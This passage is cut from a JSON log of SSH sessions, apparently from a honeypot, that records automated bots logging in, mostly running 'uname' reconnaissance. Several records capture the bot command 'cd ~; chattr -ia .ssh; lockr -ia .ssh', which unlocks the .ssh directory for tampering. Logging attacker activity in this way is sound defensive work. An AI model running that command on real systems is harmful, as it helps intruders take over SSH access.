  "id": "83ae0dde-b1bd-47d8-97f5-571f61670e3e",
  "name": "weathered-western-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61502,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:18:56.268088+00:00",
  "ended_at": "2026-08-26T14:18:57.607495+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "386b8bb9-cc5d-42bd-bd1a-de791ef289fa",
  "name": "gloomy-gritty-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61490,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:18:54.393623+00:00",
  "ended_at": "2026-08-26T14:18:55.701436+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c480ea2-fb11-4f9c-a97a-5eaaf84d5071",
  "name": "gilded-hushed-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43594,
  "username": "web",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 480,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:18:50.537151+00:00",
  "ended_at": "2026-08-26T14:18:55.700224+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5702ca13-a51b-40f5-8aa2-e714473a867f",
  "name": "proud-arctic-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 36150,
  "username": "ghost",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:18:50.486219+00:00",
  "ended_at": "2026-08-26T14:18:54.804962+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12083888-325d-4470-a9c9-025caa25911d",
  "name": "genial-earnest-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37360,
  "username": "ghost",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:18:45.025017+00:00",
  "ended_at": "2026-08-26T14:18:54.806180+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "30267b78-69c4-4822-9b8f-7f1ef9c594ba",
  "name": "velvet-fearless-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47138,
  "username": "mysql",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 410,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:18:31.704830+00:00",
  "ended_at": "2026-08-26T14:18:37.100713+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "14544ef6-e5ea-4e6d-8936-3ff5f8358cc3",
  "name": "marbled-balmy-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59988,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 553,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:18:17.880186+00:00",
  "ended_at": "2026-08-26T14:18:23.308125+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c52380d9-0b77-4b0f-82f6-e005177f7349",
  "name": "tangled-cosmic-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 44410,
  "username": "nginx",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:18:12.490129+00:00",
  "ended_at": "2026-08-26T14:18:17.251447+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81465ab7-24d7-40b2-8f51-08043a7ec1c5",
  "name": "solar-freckled-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55432,
  "username": "nginx",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 642,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:18:05.060325+00:00",
  "ended_at": "2026-08-26T14:18:17.250052+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "5208b474-bff3-4f35-84da-2fc2c3be89c8",
  "name": "snowy-hearty-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58760,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 788,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:18:03.206099+00:00",
  "ended_at": "2026-08-26T14:18:07.775085+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "971f29ae-a791-4b38-9fdc-f98f8ebc8e25",
  "name": "dutiful-spirited-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 51128,
  "username": "nvidia",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:17:50.216048+00:00",
  "ended_at": "2026-08-26T14:17:55.111937+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2cb77e3-5717-4532-97d7-953fcf646c32",
  "name": "cosmic-frank-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40698,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:17:49.196284+00:00",
  "ended_at": "2026-08-26T14:17:50.752858+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "1735069d-a243-479f-a91d-451019970bbd",
  "name": "marine-slender-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36794,
  "username": "nvidia",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 544,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:17:45.552885+00:00",
  "ended_at": "2026-08-26T14:17:55.112958+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "f718bf6f-5026-4413-a07c-85946dac720e",
  "name": "wooded-lofty-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 47104,
  "username": "tactical",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:17:33.554204+00:00",
  "ended_at": "2026-08-26T14:17:42.724183+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0afc9505-9009-4d23-8b78-1a69a0f6866c",
  "name": "sunlit-coral-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53024,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 494,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:17:29.067775+00:00",
  "ended_at": "2026-08-26T14:17:34.386047+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6fb8a986-c94b-4ba3-a74b-16ab5b06a5d7",
  "name": "dappled-ruddy-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44464,
  "username": "tactical",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 675,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:17:27.652458+00:00",
  "ended_at": "2026-08-26T14:17:42.725370+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "bbe057e8-b0ac-47a8-9558-f4834431a731",
  "name": "jolly-vivid-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64410,
  "username": "tu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:17:27.267550+00:00",
  "ended_at": "2026-08-26T14:17:29.291001+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "d18fc748-7ad6-43f2-bfa4-c3eff8b0d88d",
  "name": "lively-civil-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40700,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:17:27.137787+00:00",
  "ended_at": "2026-08-26T14:17:28.822011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "292c2b7d-6c95-4397-b566-6e54c5088809",
  "name": "foggy-stormy-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40699,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:17:24.252486+00:00",
  "ended_at": "2026-08-26T14:17:25.642542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e424b125-c193-4c61-80f3-b2449ee4606d",
  "name": "dusky-western-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 58782,
  "username": "fivem",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:17:12.809096+00:00",
  "ended_at": "2026-08-26T14:17:22.670354+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ec9a754-774d-40c6-b229-f89fe2099e8c",
  "name": "dusky-knotted-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44762,
  "username": "fivem",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 867,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:17:07.176519+00:00",
  "ended_at": "2026-08-26T14:17:22.671596+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "1f084ea4-eccb-42e7-90e6-c7bf23eea3f5",
  "name": "weathered-fabled-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52850,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 546,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:17:03.751495+00:00",
  "ended_at": "2026-08-26T14:17:07.224475+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d9c6fddc-4228-4488-9c64-eb4c0cf979b9",
  "name": "austere-nautical-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 64416,
  "username": "tu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:16:59.415511+00:00",
  "ended_at": "2026-08-26T14:17:01.152261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b29c98c7-77af-409f-bae0-c630255d45ff",
  "name": "shaded-coral-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 64412,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:16:57.311404+00:00",
  "ended_at": "2026-08-26T14:16:58.870665+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2705e39b-e3bb-4132-b28b-cd4ba31ecead",
  "name": "restless-sincere-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56596,
  "username": "master",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 680,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:16:43.312045+00:00",
  "ended_at": "2026-08-26T14:16:46.644369+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1a4ca15b-6e41-429f-b06a-f9469930ca79",
  "name": "rugged-fierce-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37642,
  "username": "codex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:16:31.937398+00:00",
  "ended_at": "2026-08-26T14:16:46.039651+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8ce4b2bb-de1b-4962-ba49-2ed97b67e16b",
  "name": "slender-velvet-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44946,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 452,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:16:27.842289+00:00",
  "ended_at": "2026-08-26T14:16:31.987685+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f6df96d0-7905-42d3-9931-48fac37e7d51",
  "name": "fleeting-blithe-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50876,
  "username": "codex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 424,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:16:24.033809+00:00",
  "ended_at": "2026-08-26T14:16:46.043350+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "c5712c24-b258-4c16-b14e-7b397f3a1a46",
  "name": "windswept-earnest-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 52830,
  "username": "wso2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:16:06.081738+00:00",
  "ended_at": "2026-08-26T14:16:11.693367+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "abf53c81-44e0-4c35-91a1-4022687c4c39",
  "name": "solar-ivory-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41394,
  "username": "wso2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 484,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:15:59.734366+00:00",
  "ended_at": "2026-08-26T14:16:11.720511+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "5475cea5-947e-444b-ac00-1513d0719292",
  "name": "polar-blazing-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42334,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 418,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:15:56.301187+00:00",
  "ended_at": "2026-08-26T14:16:01.739180+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "31ddbc37-a7d6-4707-9aa9-61e31bf939e0",
  "name": "buoyant-knotted-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 56598,
  "username": "niaoyun",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:15:43.220468+00:00",
  "ended_at": "2026-08-26T14:15:48.811245+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6118fd8d-bdea-40f5-9053-ebd4253607ce",
  "name": "frugal-russet-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58788,
  "username": "niaoyun",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 533,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:15:36.421092+00:00",
  "ended_at": "2026-08-26T14:15:48.812768+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "f82a9f8f-5da6-4f38-ac45-0998b2c47e27",
  "name": "russet-curious-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 51294,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:15:26.998405+00:00",
  "ended_at": "2026-08-26T14:15:28.445703+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "87d35ca3-e340-4e23-943e-89a4ea81cc1a",
  "name": "gleaming-oaken-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 477,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:15:17.209349+00:00",
  "ended_at": "2026-08-26T14:15:20.137913+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "04eff89a-84ae-47bf-b023-3ff1ab44646f",
  "name": "deft-somber-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60050,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 378,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:15:04.246449+00:00",
  "ended_at": "2026-08-26T14:15:09.863761+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0c9bfb35-2752-4002-823b-8df9c6425928",
  "name": "dewy-somber-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51318,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:15:00.356602+00:00",
  "ended_at": "2026-08-26T14:15:02.072756+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fc9f9b7a-73ed-4e25-b154-07bbf020566e",
  "name": "peaty-clever-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40695,
  "username": "logviewer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:14:58.829455+00:00",
  "ended_at": "2026-08-26T14:15:00.108082+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2190
 },
 {
  "id": "53703b29-4d0c-4f36-9353-bea9f871929b",
  "name": "glacial-western-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51306,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:14:58.739322+00:00",
  "ended_at": "2026-08-26T14:14:59.751481+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "216c5e33-0c3e-4520-94cf-48296622e82d",
  "name": "ginger-regal-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54876,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 364,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:14:51.690218+00:00",
  "ended_at": "2026-08-26T14:14:55.663656+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "371da9ab-39d1-41e4-9bfb-025351a11186",
  "name": "brave-arctic-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50246,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 392,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:14:42.287342+00:00",
  "ended_at": "2026-08-26T14:14:46.180344+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c475007e-4278-4e9d-bcfc-4f9b4181d5f5",
  "name": "cunning-rambling-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40697,
  "username": "logviewer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:14:35.367719+00:00",
  "ended_at": "2026-08-26T14:14:37.485810+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "947882fe-1872-4d0a-98fc-1b04bc4d1d04",
  "name": "coral-autumn-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40696,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:14:32.302286+00:00",
  "ended_at": "2026-08-26T14:14:33.867175+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0a1eee2-c10a-46c7-a3c9-d957be8791f3",
  "name": "placid-knotted-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38602,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 692,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:14:29.567448+00:00",
  "ended_at": "2026-08-26T14:14:34.933138+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7bb701d4-00f8-44b2-bf16-e2bb13191a23",
  "name": "rapid-balmy-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54606,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:14:21.311418+00:00",
  "ended_at": "2026-08-26T14:14:27.142069+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ab786837-6d8a-442b-80f8-b9623e54aa28",
  "name": "thorny-gentle-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59394,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 732,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:14:01.893266+00:00",
  "ended_at": "2026-08-26T14:14:06.232629+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a6767ddb-65e2-4455-a758-47a697175ab6",
  "name": "dapper-russet-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34848,
  "username": "sam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 851,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:13:53.676589+00:00",
  "ended_at": "2026-08-26T14:13:57.090563+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6db96258-9436-47df-aa2a-baf6c9e95778",
  "name": "steady-jaunty-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 50232,
  "username": "factorio",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:13:44.517412+00:00",
  "ended_at": "2026-08-26T14:13:50.683647+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d1e6c2fa-0c9d-4a5c-a6e8-6f450b96e13d",
  "name": "rugged-hushed-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 646,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:13:43.567397+00:00",
  "ended_at": "2026-08-26T14:13:47.469575+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d6850ee4-e596-4dfe-b439-5bf49678028b",
  "name": "shaded-glacial-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35084,
  "username": "factorio",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 860,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:13:37.458941+00:00",
  "ended_at": "2026-08-26T14:13:50.684922+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
